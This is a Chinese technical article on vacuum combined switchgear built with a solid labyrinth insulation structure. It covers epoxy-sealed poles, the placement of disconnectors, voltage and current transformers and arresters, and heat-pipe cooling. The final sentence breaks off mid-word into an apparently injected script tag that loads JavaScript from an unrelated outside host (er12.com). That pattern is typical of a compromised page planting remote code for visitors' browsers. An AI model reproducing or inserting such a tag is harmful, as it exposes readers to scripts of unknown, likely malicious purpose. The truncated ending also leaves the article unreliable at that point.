固体迷宫式绝缘结构真空组合电器

在中压开关领域,特别在12 kv 级,由于真空断路器无任何有害物质的排放,加上其优良的电器性能,逐步成为这个领域的主流产品。据统计资料,2002年真空断路器所占比例已攀升到92.27%,产量达133 519台。我国继美国、德国和日本之后,已进入真空断路器生产大国的行列。但是,sf6开关在小电流领域市场有很高的市场占有率。这是由于sf6开关在小电流(800a以下)产品上,特别是负荷开关方面,具有体积小,结构简单,成本低的优势,这两年挤占了真空开关市场,使真空开关的市场占有率有所下降。仔细分析,中压开关市场的主流,仍然是真空开关。目前,急需研制一种小电流等级的真空组合电器产品。类似于现在110kv的组合电器,不允许充有sf6气体,以替代目前的sf6开关小电流产品。这是由于,真空开关可以做到不检修,不排放有毒气体,寿命上做到数倍于sf6开关的寿命,而sf6开关却做不到。

除了永磁驱动机构技术之外,真空断路器同时还采用了一项固封极柱技术,使真空断路器技术从空气绝缘-复合绝缘过渡到固体绝缘。现在又有一种新的技术就叫做固体迷宫式绝缘结构。

在第一代空气绝缘的真空电器中中,带电部分完全裸露在空气中,它的绝缘水平随着空气中的湿度、灰尘以及运输过程的磕碰而变化,并易受小动物等异物的影响。在第二代复合绝缘中,将灭弧室保护在环氧树脂套筒内。但这种套筒没有完全把高压带电部分包起来,里面还会受灰尘、潮气、昆虫等影响。固封极柱,通过 apg 工艺,利用环氧树脂将灭弧室及上下出线端全部包封。这样做,不仅缩小了灭弧室尺寸,而且不受外界环境(灰尘、潮气等)的影响,提高了耐气候性,此时环氧树脂不仅作为一次部分的主绝缘,而又是它的机械支撑,其电场分布和应力分布优于各种形状的绝缘隔板结构。

110kv级以上电压等级,现在使用组合电器已经很普遍了,这不仅仅因为是体积小,更主要的是封闭绝缘,有很高的使用可靠性。来自外界的不可靠因素都排除了。因此,有些工程技术人员,试图把3-36kv电压等级也搞成组合电器。于是就出现了充气的中压组合电器。但在中压领域,这不是发展方向,脱离使用sf6气体,将现在的固封技术发扬光大,完全实现不充任何气体的真空组合电器,这已经实现了。

这里介绍一种固体迷宫式结构的真空组合电器。真空灭弧室固封技术已经突破了,进入到成熟的批量生产阶段,将电压互感器,电流互感器,隔离开关,接地开关,避雷器,统统采用固封,就相当于给各个单独的元件加上了充有绝缘气体的容器,但这还不够,结合部位如何达到绝缘要求?固体迷宫式绝缘结构,解决了这个难题,而且在绝缘体表面还完全可以包上一层半导体或金属层,与地相接,达到完全可以触摸,而且完全避免了充气组合电器的泄漏问题。这样的组合电器,其使用寿命中,完全可以做到免维护。

这项工作是这样完成的,把固封脊柱的出线和封闭母线连在一起,固封脊柱的进线就是隔离开关静触头,同时向电压互感器和避雷器引线,因为,电压互感器和避雷器电流很小,这部分导线,还起到了散热的作用。隔离开关采用双断口,这就减少了隔离开关动触头的行程,隔离开关的另一个静触头连结电流互感器,电流互感器的另一端作为出线端。这样的结构,电流的路径最短,把省下来的铜材加粗导电截面,使封闭在绝缘材料里的导体减少发热。

请参考图1:

图1其中:1.真空断路器2.永磁机构3.硅橡胶出线系统4.封闭母线室5.隔离开关6.避雷器7.电压互感器8.综保室9.电流互感器。

由于全部导体封闭,相与相之间,带电体与地之间都有良好的绝缘,就像高压电力电缆那样,导体被保护在钢壳里面,因此整个柜体的尺寸大为减小。开关柜的体积也变得很小。

在解决大电流组合电器的问题上,关键是要解决发热问题。迷宫式绝缘结构真空组合电器的大电流的问题是如何解决的呢?一是尽量少产生热量,二是该散热的时候把热量散出去。在高压电器中,最棘手的两个问题,一个是绝缘问题,一个是发热问题。由于固封脊柱减小了整个结构的尺寸,导体之间的连接变得很紧凑,距离也很短,因此基本的办法是将导体的导电电截面放大,使导电回路电阻降低。使整个回路少发热。因为结构很小,即使这样作也不必担心增加材料。另一方面,还要考虑散热,现在有一种叫做热管的技术,西藏铁路解决永久冻土层,就用了这项技术。就是在进行apg注射的时候,将热管放到容易发热的地方,当这个地方发热的时候,热管就会起作用,把热量吸收出来,散发到固封部位的体外,使发热点降温。当然,热管本身也是要做绝缘处理的。热管技术还有一个特性,温度不到一定程度,他不散热,可以给电器本身保温。使设备经常处于一种温度变化不大的近于恒温的状态。这样就改善了设备的运行环境,避免了忽?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计